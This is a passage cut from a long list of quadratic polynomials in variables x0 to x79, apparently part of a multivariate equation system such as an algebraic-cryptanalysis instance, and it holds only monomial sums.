x8*x48 + x8*x49 + x8*x53 + x8*x55 + x8*x56 + x8*x58 + x8*x59 + x8*x62 + x8*x65 + x8*x68 + x8*x71 + x8*x72 + x8*x73 + x8*x75 + x8*x76 + x8*x77 + x8*x78 + x8*x79 + x8 + x9*x12 + x9*x15 + x9*x16 + x9*x22 + x9*x23 + x9*x25 + x9*x27 + x9*x30 + x9*x31 + x9*x32 + x9*x33 + x9*x34 + x9*x37 + x9*x38 + x9*x42 + x9*x47 + x9*x48 + x9*x49 + x9*x51 + x9*x52 + x9*x54 + x9*x55 + x9*x56 + x9*x57 + x9*x58 + x9*x60 + x9*x61 + x9*x62 + x9*x66 + x9*x67 + x9*x68 + x9*x69 + x9*x74 + x9*x77 + x9 + x10*x12 + x10*x13 + x10*x16 + x10*x17 + x10*x18 + x10*x19 + x10*x21 + x10*x23 + x10*x27 + x10*x32 + x10*x34 + x10*x35 + x10*x40 + x10*x43 + x10*x44 + x10*x52 + x10*x54 + x10*x55 + x10*x58 + x10*x62 + x10*x63 + x10*x72 + x10*x73 + x10*x77 + x10*x78 + x10 + x11*x14 + x11*x18 + x11*x19 + x11*x22 + x11*x24 + x11*x25 + x11*x26 + x11*x30 + x11*x32 + x11*x34 + x11*x37 + x11*x39 + x11*x42 + x11*x43 + x11*x46 + x11*x48 + x11*x50 + x11*x54 + x11*x55 + x11*x58 + x11*x60 + x11*x61 + x11*x62 + x11*x63 + x11*x65 + x11*x66 + x11*x67 + x11*x68 + x11*x76 + x12*x13 + x12*x14 + x12*x15 + x12*x16 + x12*x18 + x12*x19 + x12*x21 + x12*x22 + x12*x23 + x12*x27 + x12*x29 + x12*x30 + x12*x34 + x12*x35 + x12*x38 + x12*x39 + x12*x42 + x12*x47 + x12*x48 + x12*x49 + x12*x50 + x12*x52 + x12*x55 + x12*x58 + x12*x59 + x12*x61 + x12*x63 + x12*x66 + x12*x69 + x12*x76 + x12*x78 + x12 + x13*x14 + x13*x16 + x13*x17 + x13*x18 + x13*x22 + x13*x23 + x13*x25 + x13*x28 + x13*x29 + x13*x30 + x13*x31 + x13*x33 + x13*x36 + x13*x37 + x13*x38 + x13*x39 + x13*x40 + x13*x41 + x13*x42 + x13*x43 + x13*x44 + x13*x45 + x13*x47 + x13*x49 + x13*x50 + x13*x52 + x13*x54 + x13*x56 + x13*x57 + x13*x59 + x13*x60 + x13*x65 + x13*x67 + x13*x69 + x13*x70 + x13*x73 + x13*x74 + x13*x75 + x13*x77 + x13*x78 + x13 + x14*x15 + x14*x17 + x14*x18 + x14*x19 + x14*x21 + x14*x22 + x14*x25 + x14*x27 + x14*x28 + x14*x29 + x14*x33 + x14*x35 + x14*x37 + x14*x39 + x14*x43 + x14*x44 + x14*x46 + x14*x48 + x14*x50 + x14*x51 + x14*x54 + x14*x56 + x14*x57 + x14*x58 + x14*x60 + x14*x61 + x14*x62 + x14*x63 + x14*x66 + x14*x69 + x14*x71 + x14*x74 + x14*x75 + x14*x76 + x14*x77 + x15*x17 + x15*x19 + x15*x20 + x15*x23 + x15*x24 + x15*x25 + x15*x26 + x15*x28 + x15*x30 + x15*x31 + x15*x32 + x15*x33 + x15*x35 + x15*x36 + x15*x38 + x15*x39 + x15*x42 + x15*x49 + x15*x53 + x15*x55 + x15*x57 + x15*x59 + x15*x60 + x15*x63 + x15*x66 + x15*x70 + x15*x71 + x15*x72 + x15*x79 + x16*x17 + x16*x22 + x16*x24 + x16*x25 + x16*x26 + x16*x30 + x16*x31 + x16*x36 + x16*x37 + x16*x38 + x16*x40 + x16*x46 + x16*x50 + x16*x51 + x16*x52 + x16*x53 + x16*x55 + x16*x56 + x16*x57 + x16*x58 + x16*x62 + x16*x65 + x16*x66 + x16*x68 + x16*x69 + x16*x72 + x16*x74 + x16*x75 + x16*x76 + x16*x77 + x16 + x17*x18 + x17*x19 + x17*x20 + x17*x21 + x17*x22 + x17*x24 + x17*x25 + x17*x27 + x17*x28 + x17*x30 + x17*x33 + x17*x34 + x17*x37 + x17*x41 + x17*x42 + x17*x45 + x17*x47 + x17*x48 + x17*x49 + x17*x51 + x17*x52 + x17*x53 + x17*x56 + x17*x57 + x17*x58 + x17*x62 + x17*x63 + x17*x64 + x17*x68 + x17*x74 + x17*x75 + x17*x76 + x18*x20 + x18*x21 + x18*x26 + x18*x27 + x18*x28 + x18*x30 + x18*x31 + x18*x32 + x18*x36 + x18*x37 + x18*x39 + x18*x41 + x18*x42 + x18*x47 + x18*x48 + x18*x49 + x18*x50 + x18*x51 + x18*x54 + x18*x56 + x18*x58 + x18*x59 + x18*x61 + x18*x64 + x18*x67 + x18*x68 + x18*x71 + x18*x73 + x18*x75 + x18*x76 + x18*x77 + x18*x78 + x18 + x19*x23 + x19*x24 + x19*x25 + x19*x26 + x19*x27 + x19*x28 + x19*x29 + x19*x31 + x19*x33 + x19*x36 + x19*x37 + x19*x39 + x19*x40 + x19*x43 + x19*x53 + x19*x56 + x19*x59 + x19*x61 + x19*x63 + x19*x64 + x19*x66 + x19*x67 + x19*x68 + x19*x69 + x19*x71 + x19*x72 + x19*x74 + x20*x21 + x20*x24 + x20*x26 + x20*x27 + x20*x28 + x20*x29 + x20*x31 + x20*x33 + x20*x34 + x20*x36 + x20*x37 + x20*x39 + x20*x40 + x20*x43 + x20*x44 + x20*x46 + x20*x47 + x20*x48 + x20*x49 + x20*x53 + x20*x54 + x20*x57 + x20*x59 + x20*x63 + x20*x64 + x20*x65 + x20*x66 + x20*x68 + x20*x70 + x20*x71 + x20*x76 + x21*x24 + x21*x25 + x21*x26 + x21*x27 + x21*x32 + x21*x34 + x21*x37 + x21*x38 + x21*x39 + x21*x40 + x21*x41 + x21*x42 + x21*x43 + x21*x44 + x21*x46 + x21*x47 + x21*x48 + x21*x50 + x21*x51 + x21*x53 + x21*x54 + x21*x56 + x21*x57 + x21*x58 + x21*x59 + x21*x61 + x21*x62 + x21*x63 + x21*x64 + x21*x65 + x21*x67 + x21*x76 + x21*x78 + x21*x79 + x21 + x22*x23 + x22*x26 + x22*x27 + x22*x28 + x22*x30 + x22*x32 + x22*x33 + x22*x35 + x22*x36 + x22*x37 + x22*x38 + x22*x39 + x22*x40 + x22*x41 + x22*x44 + x22*x46 + x22*x48 + x22*x50 + x22*x51 + x22*x53 + x22*x54 + x22*x56 + x22*x57 + x22*x59 + x22*x61 + x22*x62 + x22*x63 + x22*x64 + x22*x65 + x22*x66 + x22*x68 + x22*x69 + x22*x70 + x22*x71 + x22*x72 + x22*x74 + x22*x77 + x23*x24 + x23*x26 + x23*x27 + x23*x30 + x23*x37 + x23*x38 + x23*x40 + x23*x41 + x23*x43 + x23*x44 + x23*x47 + x23*x48 + x23*x49 + x23*x52 + x23*x54 + x23*x55 + x23*x56 + x23*x59 + x23*x62 + x23*x64 + x23*x66 + x23*x68 + x23*x73 + x23*x77 + x23*x79 + x23 + x24*x26 + x24*x27 + x24*x28 + x24*x29 + x24*x30 + x24*x31 + x24*x33 + x24*x34 + x24*x36 + x24*x38 + x24*x39 + x24*x40 + x24*x42 + x24*x43 + x24*x44 + x24*x45 + x24*x46 + x24*x47 + x24*x48 + x24*x51 + x24*x55 + x24*x58 + x24*x60 + x24*x61 + x24*x63 + x24*x67 + x24*x69 + x24*x70 + x24*x71 + x24*x74 + x24*x76 + x24*x78 + x24*x79 + x24 + x25*x29 + x25*x33 + x25*x34 + x25*x35 + x25*x39 + x25*x42 + x25*x45 + x25*x46 + x25*x50 + x25*x51 + x25*x54 + x25*x57 + x25*x58 + x25*x59 + x25*x64 + x25*x65 + x25*x67 + x25*x69 + x25*x72 + x25*x73 + x25*x77 + x26*x29 + x26*x31 + x26*x32 + x26*x33 + x26*x41 + x26*x42 + x26*x43 + x26*x44 + x26*x46 + x26*x47 + x26*x48 + x26*x49 + x26*x51 + x26*x53 + x26*x54 + x26*x56 + x26*x57 + x26*x58 + x26*x61 + x26*x63 + x26*x64 + x26*x65 + x26*x66 + x26*x67 + x26*x71 + x26*x73 + x26*x74 + x26*x76 + x27*x29 + x27*x30 + x27*x32 + x27*x33 + x27*x34 + x27*x35 + x27*x36 + x27*x37 + x27*x38 + x27*x40 + x27*x41 + x27*x44 + x27*x46 + x27*x48 + x27*x49 + x27*x50 + x27*x52 + x27*x53 + x27*x54 + x27*x55 + x27*x56 + x27*x60 + x27*x61 + x27*x62 + x27*x63 + x27*x64 + x27*x66 + x27*x70 + x27*x71 + x27*x74 + x27*x75 + x27*x77 + x27 + x28*x29 + x28*x31 + x28*x32 + x28*x33 + x28*x34 + x28*x36 + x28*x37 + x28*x38 + x28*x39 + x28*x40 + x28*x42 + x28*x43 + x28*x45 + x28*x46 + x28*x49 + x28*x50 + x28*x53 + x28*x54 + x28*x56 + x28*x58 + x28*x59 + x28*x63 + x28*x68 + x28*x70 + x28*x75 + x28*x79 + x29*x30 + x29*x33 + x29*x36 + x29*x38 + x29*x39 + x29*x41 + x29*x42 + x29*x44 + x29*x46 + x29*x54 + x29*x57 + x29*x64 + x29*x65 + x29*x68 + x29*x69 + x29*x72 + x29*x75 + x29*x76 + x29*x77 + x29*x79 + x30*x32 + x30*x35 + x30*x36 + x30*x40 + x30*x43 + x30*x48 + x30*x51 + x30*x54 + x30*x58 + x30*x59 + x30*x62 + x30*x63 + x30*x65 + x30*x68 + x30*x69 + x30*x71 + x30*x72 + x30*x73 + x30*x74 + x30*x75 + x30*x76 + x30*x77 + x30*x78 + x30 + x31*x33 + x31*x34 + x31*x36 + x31*x38 + x31*x39 + x31*x40 + x31*x43 + x31*x44 + x31*x46 + x31*x48 + x31*x50 + x31*x51 + x31*x52 + x31*x54 + x31*x55 + x31*x57 + x31*x60 + x31*x62 + x31*x63 + x31*x64 + x31*x65 + x31*x67 + x31*x68 + x31*x69 + x31*x70 + x31*x72 + x31*x73 + x31*x74 + x31*x77 + x31*x78 + x32*x36 + x32*x37 + x32*x38 + x32*x43 + x32*x44 + x32*x45 + x32*x49 + x32*x51 + x32*x52 + x32*x54 + x32*x55 + x32*x59 + x32*x60 + x32*x61 + x32*x62 + x32*x64 + x32*x65 + x32*x66 + x32*x67 + x32*x70 + x32*x72 + x32*x73 + x32*x74 + x32*x76 + x32*x78 + x33*x34 + x33*x35 + x33*x37 + x33*x38 + x33*x39 + x33*x40 + x33*x41 + x33*x42 + x33*x43 + x33*x44 + x33*x46 + x33*x49 + x33*x51 + x33*x54 + x33*x55 + x33*x57 + x33*x58 + x33*x61 + x33*x62 + x33*x63 + x33*x66 + x33*x67 + x33*x69 + x33*x71 + x33*x72 + x33*x77 + x33*x78 + x33*x79 + x34*x35 + x34*x37 + x34*x38 + x34*x40 + x34*x43 + x34*x44 + x34*x45 + x34*x47 + x34*x51 + x34*x52 + x34*x53 + x34*x55 + x34*x56 + x34*x58 + x34*x59 + x34*x61 + x34*x62 + x34*x63 + x34*x66 + x34*x67 + x34*x71 + x34*x72 + x34*x76 + x34 + x35*x36 + x35*x37 + x35*x38 + x35*x40 + x35*x41 + x35*x42 + x35*x43 + x35*x47 + x35*x48 + x35*x49 + x35*x51 + x35*x54 + x35*x55 + x35*x56 + x35*x57 + x35*x65 + x35*x67 + x35*x71 + x35*x72 + x35*x73 + x35*x74 + x35*x76 + x35*x78 + x36*x40 + x36*x42 + x36*x43 + x36*x44 + x36*x47 + x36*x50 + x36*x51 + x36*x52 + x36*x55 + x36*x56 + x36*x57 + x36*x59 + x36*x60 + x36*x61 + x36*x62 + x36*x63 + x36*x64 + x36*x66 + x36*x71 + x36*x73 + x36*x76 + x36*x77 + x36*x78 + x37*x40 + x37*x41 + x37*x44 + x37*x47 + x37*x49 + x37*x52 + x37*x53 + x37*x54 + x37*x55 + x37*x57 + x37*x63 + x37*x64 + x37*x65 + x37*x66 + x37*x67 + x37*x69 + x37*x70 + x37*x71 + x37*x73 + x37*x75 + x37*x77 + x37*x78 + x37*x79 + x38*x39 + x38*x40 + x38*x41 + x38*x43 + x38*x44 + x38*x45 + x38*x47 + x38*x48 + x38*x49 + x38*x50 + x38*x51 + x38*x52 + x38*x53 + x38*x54 + x38*x55 + x38*x56 + x38*x58 + x38*x59 + x38*x60 + x38*x61 + x38*x62 + x38*x63 + x38*x64 + x38*x65 + x38*x66 + x38*x68 + x38*x69 + x38*x72 + x38*x73 + x38*x74 + x38*x76 + x38*x78 + x38*x79 + x39*x40 + x39*x42 + x39*x46 + x39*x47 + x39*x48 + x39*x49 + x39*x51 + x39*x52 + x39*x54 + x39*x56 + x39*x62 + x39*x68 + x39*x71 + x39*x72 + x39*x74 + x39*x75 + x39*x76 + x39*x77 + x39 + x40*x42 + x40*x45 + x40*x50 + x40*x51 + x40*x53 + x40*x57 + x40*x58 + x40*x59 + x40*x65 + x40*x66 + x40*x67 + x40*x68 + x40*x69 + x40*x71 + x40*x73 + x40*x75 + x40*x76 + x40*x78 + x40 + x41*x45 + x41*x47 + x41*x49 + x41*x50 + x41*x53 + x41*x54 + x41*x55 + x41*x56 + x41*x60 + x41*x62 + x41*x63 + x41*x64 + x41*x65 + x41*x66 + x41*x67 + x41*x69 + x41*x73 + x41*x76 + x41*x77 + x41*x79 + x42*x43 + x42*x44 + x42*x45 + x42*x47 + x42*x48 + x42*x50 + x42*x51 + x42*x55 + x42*x56 + x42*x65 + x42*x66 + x42*x67 + x42*x72 + x42*x73 + x42*x76 + x42*x77 + x42*x78 + x42*x79 + x42 + x43*x51 + x43*x52 + x43*x53 + x43*x61 + x43*x63 + x43*x66 + x43*x69 + x43*x71 + x43*x73 + x43*x74 + x43*x76 + x43*x78 + x43*x79 + x44*x45 + x44*x46 + x44*x47 + x44*x49 + x44*x52 + x44*x54 + x44*x56 + x44*x58 + x44*x62 + x44*x63 + x44*x64 + x44*x65 + x44*x67 + x44*x72 + x44*x73 + x44*x74 + x44*x78 + x44 + x45*x47 + x45*x50 + x45*x51 + x45*x52 + x45*x54 + x45*x56 + x45*x58 + x45*x61 + x45*x63 + x45*x64 + x45*x65 + x45*x69 + x45*x73 + x45*x74 + x45*x75 + x45*x76 + x45*x77 + x45*x78 + x45*x79 + x45 + x46*x47 + x46*x48 + x46*x51 + x46*x52 + x46*x55 + x46*x56 + x46*x57 + x46*x58 + x46*x60 + x46*x61 + x46*x62 + x46*x64 + x46*x66 + x46*x67 + x46*x70 + x46*x77 + x46*x79 + x47*x48 + x47*x50 + x47*x53 + x47*x55 + x47*x57 + x47*x58 + x47*x61 + x47*x63 + x47*x64 + x47*x65 + x47*x66 + x47*x67 + x47*x68 + x47*x69 + x47*x71 + x47*x73 + x47*x75 + x47*x77 + x47*x79 + x47 + x48*x50 + x48*x53 + x48*x55 + x48*x60 + x48*x61 + x48*x62 + x48*x63 + x48*x68 + x48*x69 + x48*x73 + x48*x76 + x48*x78 + x49*x51 + x49*x53 + x49*x56 + x49*x59 + x49*x60 + x49*x62 + x49*x64 + x49*x66 + x49*x67 + x49*x68 + x49*x69 + x49*x71 + x49*x74 + x49*x75 + x49*x77 + x49*x79 + x49 + x50*x52 + x50*x53 + x50*x55 + x50*x57 + x50*x58 + x50*x63 + x50*x64 + x50*x66 + x50*x67 + x50*x69 + x50*x70 + x50*x72 + x50*x73 + x50*x76 + x50*x77 + x50 + x51*x52 + x51*x53 + x51*x57 + x51*x60 + x51*x61 + x51*x62 + x51*x63 + x51*x64 + x51*x65 + x51*x69 + x51*x70 + x51*x73 + x51*x74 + x51*x75 + x51*x76 + x52*x56 + x52*x57 + x52*x58 + x52*x59 + x52*x61 + x52*x65 + x52*x67 + x52*x72 + x52*x78 + x52 + x53*x54 + x53*x57 + x53*x58 + x53*x59 + x53*x63 + x53*x64 + x53*x67 + x53*x69 + x53*x72 + x53*x75 + x53*x76 + x53*x77 + x53*x79 + x54*x63 + x54*x66 + x54*x70 + x54*x72 + x54*x76 + x54*x77 + x54*x78 + x54*x79 + x54 + x55*x56 + x55*x59 + x55*x61 + x55*x63 + x55*x65 + x55*x67 + x55*x69 + x55*x73 + x55*x74 + x55*x75 + x55*x77 + x55*x78 + x56*x59 + x56*x61 + x56*x63 + x56*x65 + x56*x68 + x56*x69 + x56*x72 + x56*x73 + x56*x75 + x56*x76 + x56*x77 + x57*x58 + x57*x59 + x57*x61 + x57*x63 + x57*x64 + x57*x67 + x57*x69 + x57*x73 + x57*x75 + x57*x76 + x57*x77 + x57*x78 + x57*x79 + x58*x61 + x58*x62 + x58*x63 + x58*x67 + x58*x68 + x58*x69 + x58*x71 + x58*x72 + x58*x78 + x59*x60 + x59*x61 + x59*x62 + x59*x63 + x59*x65 + x59*x72 + x59*x73 + x59*x74 + x59*x75 + x59*x76 + x59*x77 + x59*x79 + x59 + x60*x63 + x60*x65 + x60*x66 + x60*x67 + x60*x68 + x60*x69 + x60*x78 + x60*x79 + x61*x65 + x61*x66 + x61*x71 + x61*x73 + x61*x74 + x61*x75 + x61*x78 + x61 + x62*x63 + x62*x65 + x62*x67 + x62*x69 + x62*x70 + x62*x73 + x62*x75 + x62*x77 + x62*x78 + x63*x65 + x63*x66 + x63*x67 + x63*x68 + x63*x69 + x63*x71 + x63*x73 + x63*x74 + x63*x76 + x63 + x64*x65 + x64*x67 + x64*x68 + x64*x69 + x64*x70 + x64*x72 + x64*x73 + x64*x77 + x65*x67 + x65*x68 + x65*x70 + x65*x72 + x65*x76 + x65*x77 + x65*x78 + x65*x79 + x66*x67 + x66*x68 + x66*x70 + x66*x72 + x66*x77 + x67*x71 + x67*x72 + x67*x74 + x67*x77 + x67*x78 + x68*x69 + x68*x70 + x68*x73 + x68*x76 + x68*x77 + x68*x78 + x68*x79 + x68 + x69*x70 + x69*x72 + x69*x74 + x69*x75 + x69*x76 + x69*x77 + x69*x79 + x70*x71 + x70*x73 + x70*x78 + x70*x79 + x71*x72 + x71*x75 + x71*x76 + x71*x77 + x71*x79 + x72*x73 + x72*x76 + x73*x75 + x73*x78 + x73*x79 + x73 + x74*x75 + x74*x76 + x74*x78 + x74*x79 + x75*x77 + x75*x79 + x75 + x76 + x77*x79 + x77 + x78*x79 + x78, x0*x1 + x0*x5 + x0*x11 + x0*x14 + x0*x15 + x0*x17 + x0*x18 + x0*x19 + x0*x23 + x0*x24 + x0*x25 + x0*x27 + x0*x28 + x0*x35 + x0*x37 + x0*x41 + x0*x42 + x0*x43 + x0*x45 + x0*x46 + x0*x49 + x0*x51 + x0*x55 + x0*x61 + x0*x62 + x0*x65 + x0*x70 + x0*x71 + x0*x73 + x0*x74 + x0*x76 + x0*x79 + x0 + x1*x2 + x1*x3 + x1*x4 + x1*x6 + x1*x7 + x1*x8 + x1*x14 + x1*x20 + x1*x21 + x1*x23 + x1*x26 + x1*x27 + x1*x29 + x1*x30 + x1*x31 + x1*x34 + x1*x37 + x1*x38 + x1*x39 + x1*x40 + x1*x41 + x1*x42 + x1*x43 + x1*x44 + x1*x45 + x1*x48 + x1*x49 + x1*x52 + x1*x54 + x1*x55 + x1*x56 + x1*x57 + x1*x58 + x1*x60 + x1*x63 + x1*x64 + x1*x65 + x1*x66 + x1*x68 + x1*x69 + x1*x70 + x1*x71 + x1*x73 + x1*x74 + x1*x75 + x1*x77 + x1*x78 + x2*x3 + x2*x5 + x2*x7 + x2*x9 + x2*x10 + x2*x12 + x2*x13 + x2*x16 + x2*x18 + x2*x19 + x2*x20 + x2*x21 + x2*x23 + x2*x25 + x2*x26 + x2*x27 + x2*x29 + x2*x30 + x2*x33 + x2*x34 + x2*x42 + x2*x43 + x2*x47 + x2*x52 + x2*x53 + x2*x58 + x2*x60 + x2*x61 + x2*x62 + x2*x63 + x2*x68 + x2*x69 + x2*x70 + x2*x73 + x2*x74 + x2*x75 + x2 + x3*x5 + x3*x7 + x3*x8 + x3*x10 + x3*x11 + x3*x12 + x3*x15 + x3*x16 + x3*x17 + x3*x22 + x3*x25 + x3*x27 + x3*x29 + x3*x32 + x3*x33 + x3*x35 + x3*x36 + x3*x37 + x3*x39 + x3*x40 + x3*x45 + x3*x46 + x3*x50 + x3*x51 + x3*x52 + x3*x55 + x3*x57 + x3*x58 + x3*x60 + x3*x61 + x3*x62 + x3*x64 + x3*x65 + x3*x66 + x3*x68 + x3*x70 + x3*x71 + x3*x74 + x3*x75 + x3*x78 + x3 + x4*x6 + x4*x7 + x4*x11 + x4*x14 + x4*x15 + x4*x16 + x4*x18 + x4*x20 + x4*x22 + x4*x23 + x4*x24 + x4*x26 + x4*x28 + x4*x29 + x4*x32 + x4*x33 + x4*x34 + x4*x35 + x4*x36 + x4*x37 + x4*x38 + x4*x40 + x4*x42 + x4*x44 + x4*x47 + x4*x49 + x4*x50 + x4*x51 + x4*x53 + x4*x57 + x4*x59 + x4*x60 + x4*x61 + x4*x62 + x4*x63 + x4*x65 + x4*x68 + x4*x70 + x4*x71 + x4*x73 + x4*x76 + x5*x7 + x5*x8 + x5*x9 + x5*x10 + x5*x11 + x5*x13 + x5*x14 + x5*x17 + x5*x18 + x5*x19 + x5*x20 + x5*x21 + x5*x26 + x5*x27 + x5*x29 + x5*x34 + x5*x35 + x5*x36 + x5*x37 + x5*x38 + x5*x41 + x5*x42 + x5*x45 + x5*x46 + x5*x49 + x5*x50 + x5*x53 + x5*x55 + x5*x56 + x5*x57 + x5*x61 + x5*x62 + x5*x63 + x5*x64 + x5*x71 + x5*x73 + x5*x74 + x5*x76 + x5*x78 + x6*x9 + x6*x10 + x6*x11 + x6*x14 + x6*x15 + x6*x17 + x6*x18 + x6*x21 + x6*x22 + x6*x26 + x6*x28 + x6*x29 + x6*x30 + x6*x31 + x6*x32 + x6*x33 + x6*x34 + x6*x36 + x6*x38 + x6*x43 + x6*x44 + x6*x45 + x6*x48 + x6*x49 + x6*x50 + x6*x51 + x6*x53 + x6*x55 + x6*x57 + x6*x58 + x6*x59 + x6*x60 + x6*x65 + x6*x68 + x6*x69 + x6*x70 + x6*x71 + x6*x72 + x6*x73 + x6*x75 + x6*x76 + x6*x77 + x6*x78 + x6*x79 + x6 + x7*x8 + x7*x9 + x7*x11 + x7*x14 + x7*x15 + x7*x16 + x7*x17 + x7*x18 + x7*x20 + x7*x21 + x7*x24 + x7*x25 + x7*x26 + x7*x32 + x7*x35 + x7*x36 + x7*x38 + x7*x42 + x7*x43 + x7*x45 + x7*x47 + x7*x48 + x7*x51 + x7*x52 + x7*x56 + x7*x58 + x7*x65 + x7*x69 + x7*x71 + x7*x73 + x7*x75 + x7*x78 + x7*x79 + x8*x9 + x8*x10 + x8*x11 + x8*x13 + x8*x14 + x8*x17 + x8*x18 + x8*x19 + x8*x20 + x8*x22 + x8*x23 + x8*x25 + x8*x32 + x8*x34 + x8*x35 + x8*x36 + x8*x38 + x8*x39 + x8*x40 + x8*x41 + x8*x42 + x8*x44 + x8*x45 + x8*x46 + x8*x47 + x8*x51 + x8*x52 + x8*x59 + x8*x61 + x8*x62 + x8*x63 + x8*x64 + x8*x65 + x8*x68 + x8*x71 + x8*x73 + x8*x74 + x8*x75 + x8*x78 + x8*x79 + x8 + x9*x10 + x9*x12 + x9*x13 + x9*x14 + x9*x17 + x9*x19 + x9*x22 + x9*x24 + x9*x25 + x9*x26 + x9*x27 + x9*x33 + x9*x35 + x9*x37 + x9*x38 + x9*x39 + x9*x43 + x9*x45 + x9*x46 + x9*x48 + x9*x49 + x9*x50 + x9*x51 + x9*x54 + x9*x60 + x9*x61 + x9*x65 + x9*x67 + x9*x70 + x9*x75 + x10*x11 + x10*x12 + x10*x14 + x10*x15 + x10*x17 + x10*x19 + x10*x20 + x10*x21 + x10*x22 + x10*x23 + x10*x25 + x10*x26 + x10*x29 + x10*x30 + x10*x31 + x10*x35 + x10*x37 + x10*x38 + x10*x40 + x10*x42 + x10*x46 + x10*x47 + x10*x48 + x10*x50 + x10*x51 + x10*x53 + x10*x55 + x10*x58 + x10*x59 + x10*x61 + x10*x64 + x10*x65 + x10*x66 + x10*x68 + x10*x70 + x10*x71 + x10*x73 + x10*x74 + x10*x76 + x10*x77 + x10*x78 + x10*x79 + x10 + x11*x12 + x11*x13 + x11*x15 + x11*x16 + x11*x17 + x11*x19 + x11*x20 + x11*x21 + x11*x23 + x11*x28 + x11*x30 + x11*x31 + x11*x33 + x11*x34 + x11*x37 + x11*x38 + x11*x45 + x11*x46 + x11*x47 + x11*x48 + x11*x49 + x11*x50 + x11*x53 + x11*x55 + x11*x57 + x11*x61 + x11*x63 + x11*x65 + x11*x69 + x11*x70 + x11*x71 + x11*x72 + x11*x75 + x11*x76 + x12*x13 + x12*x14 + x12*x19 + x12*x20 + x12*x21 + x12*x22 + x12*x25 + x12*x28 + x12*x31 + x12*x32 + x12*x33 + x12*x34 + x12*x35 + x12*x37 + x12*x40 + x12*x41 + x12*x43 + x12*x44 + x12*x46 + x12*x48 + x12*x49 + x12*x50 + x12*x52 + x12*x53 + x12*x54 + x12*x56 + x12*x60 + x12*x62 + x12*x65 + x12*x66 + x12*x67 + x12*x69 + x12*x70 + x12*x75 + x12*x76 + x12*x77 + x12*x78 + x13*x16 + x13*x17 + x13*x18 + x13*x23 + x13*x24 + x13*x25 + x13*x27 + x13*x28 + x13*x29 + x13*x30 + x13*x31 + x13*x35 + x13*x37 + x13*x38 + x13*x40 + x13*x47 + x13*x48 + x13*x49 + x13*x51 + x13*x56 + x13*x57 + x13*x58 + x13*x61 + x13*x63 + x13*x65 + x13*x66 + x13*x67 + x13*x68 + x13*x69 + x13*x75 + x13*x78 + x14*x17 + x14*x19 + x14*x21 + x14*x23 + x14*x24 + x14*x26 + x14*x30 + x14*x32 + x14*x33 + x14*x34 + x14*x38 + x14*x41 + x14*x42 + x14*x43 + x14*x44 + x14*x45 + x14*x46 + x14*x47 + x14*x52 + x14*x55 + x14*x56 + x14*x59 + x14*x62 + x14*x63 + x14*x66 + x14*x67 + x14*x68 + x14*x70 + x14*x71 + x14*x72 + x14*x73 + x14*x75 + x14*x76 + x14*x79 + x15*x16 + x15*x17 + x15*x19 + x15*x20 + x15*x23 + x15*x24 + x15*x27 + x15*x31 + x15*x33 + x15*x36 + x15*x41 + x15*x43 + x15*x51 + x15*x54 + x15*x57 + x15*x58 + x15*x61 + x15*x65 + x15*x66 + x15*x67 + x15*x68 + x15*x69 + x15*x71 + x15*x72 + x15*x75 + x15*x77 + x16*x19 + x16*x24 + x16*x25 + x16*x26 + x16*x27 + x16*x29 + x16*x30 + x16*x31 + x16*x32 + x16*x38 + x16*x39 + x16*x40 + x16*x41 + x16*x42 + x16*x43 + x16*x44 + x16*x45 + x16*x48 + x16*x49 + x16*x50 + x16*x51 + x16*x54 + x16*x58 + x16*x59 + x16*x63 + x16*x64 + x16*x65 + x16*x66 + x16*x67 + x16*x70 + x16*x74 + x16*x75 + x16*x76 + x16*x77 + x16*x78 + x17*x18 + x17*x21 + x17*x22 + x17*x24 + x17*x26 + x17*x27 + x17*x28 + x17*x31 + x17*x35 + x17*x36 + x17*x38 + x17*x39 + x17*x40 + x17*x42 + x17*x43 + x17*x44 + x17*x45 + x17*x46 + x17*x47 + x17*x49 + x17*x50 + x17*x52 + x17*x53 + x17*x54 + x17*x55 + x17*x58 + x17*x62 + x17*x63 + x17*x64 + x17*x65 + x17*x68 + x17*x70 + x17*x73 + x17 + x18*x20 + x18*x23 + x18*x24 + x18*x27 + x18*x31 + x18*x32 + x18*x35 + x18*x39 + x18*x43 + x18*x44 + x18*x46 + x18*x49 + x18*x54 + x18*x57 + x18*x58 + x18*x60 + x18*x61 + x18*x62 + x18*x63 + x18*x65 + x18*x66 + x18*x67 + x18*x69 + x18*x70 + x18*x72 + x18*x75 + x18*x77 + x18*x78 + x19*x20 + x19*x23 + x19*x24 + x19*x27 + x19*x30 + x19*x36 + x19*x37 + x19*x38 + x19*x41 + x19*x43 + x19*x46 + x19*x52 + x19*x53 + x19*x56 + x19*x57 + x19*x62 + x19*x67 + x19*x68 + x19*x71 + x19*x73 + x19 + x20*x21 + x20*x24 + x20*x25 + x20*x32 + x20*x33 + x20*x34 + x20*x36 + x20*x37 + x20*x40 + x20*x41 + x20*x43 + x20*x44 + x20*x51 + x20*x53 + x20*x54 + x20*x58 + x20*x59 + x20*x60 + x20*x61 + x20*x63 + x20*x64 + x20*x65 + x20*x66 + x20*x68 + x20*x69 + x20*x72 + x20*x73 + x20*x75 + x20*x78 + x20*x79 + x20 + x21*x22 + x21*x29 + x21*x30 + x21*x31 + x21*x32 + x21*x34 + x21*x37 + x21*x39 + x21*x42 + x21*x44 + x21*x50 + x21*x53 + x21*x55 + x21*x56 + x21*x61 + x21*x63 + x21*x64 + x21*x65 + x21*x66 + x21*x67 + x21*x68 + x21*x69 + x21*x70 + x21*x76 + x21*x77 + x21*x78 + x22*x24 + x22*x25 + x22*x29 + x22*x30 + x22*x31 + x22*x32 + x22*x33 + x22*x35 + x22*x36 + x22*x37 + x22*x41 + x22*x42 + x22*x46 + x22*x52 + x22*x57 + x22*x58 + x22*x65 + x22*x69 + x22*x70 + x22*x71 + x22*x74 + x22*x75 + x22*x76 + x22*x77 + x22*x78 + x22*x79 + x22 + x23*x25 + x23*x26 + x23*x27 + x23*x29 + x23*x30 + x23*x31 + x23*x35 + x23*x37 + x23*x40 + x23*x41 + x23*x43 + x23*x44 + x23*x50 + x23*x54 + x23*x62 + x23*x64 + x23*x68 + x23*x70 + x23*x71 + x23*x72 + x23*x73 + x23*x76 + x23*x77 + x24*x26 + x24*x28 + x24*x29 + x24*x32 + x24*x38 + x24*x41 + x24*x44 + x24*x47 + x24*x48 + x24*x52 + x24*x53 + x24*x57 + x24*x58 + x24*x59 + x24*x60 + x24*x61 + x24*x62 + x24*x68 + x24*x70 + x24*x73 + x24*x75 + x24*x76 + x24*x77 + x24*x78 + x24*x79 + x25*x33 + x25*x35 + x25*x40 + x25*x41 + x25*x43 + x25*x44 + x25*x45 + x25*x48 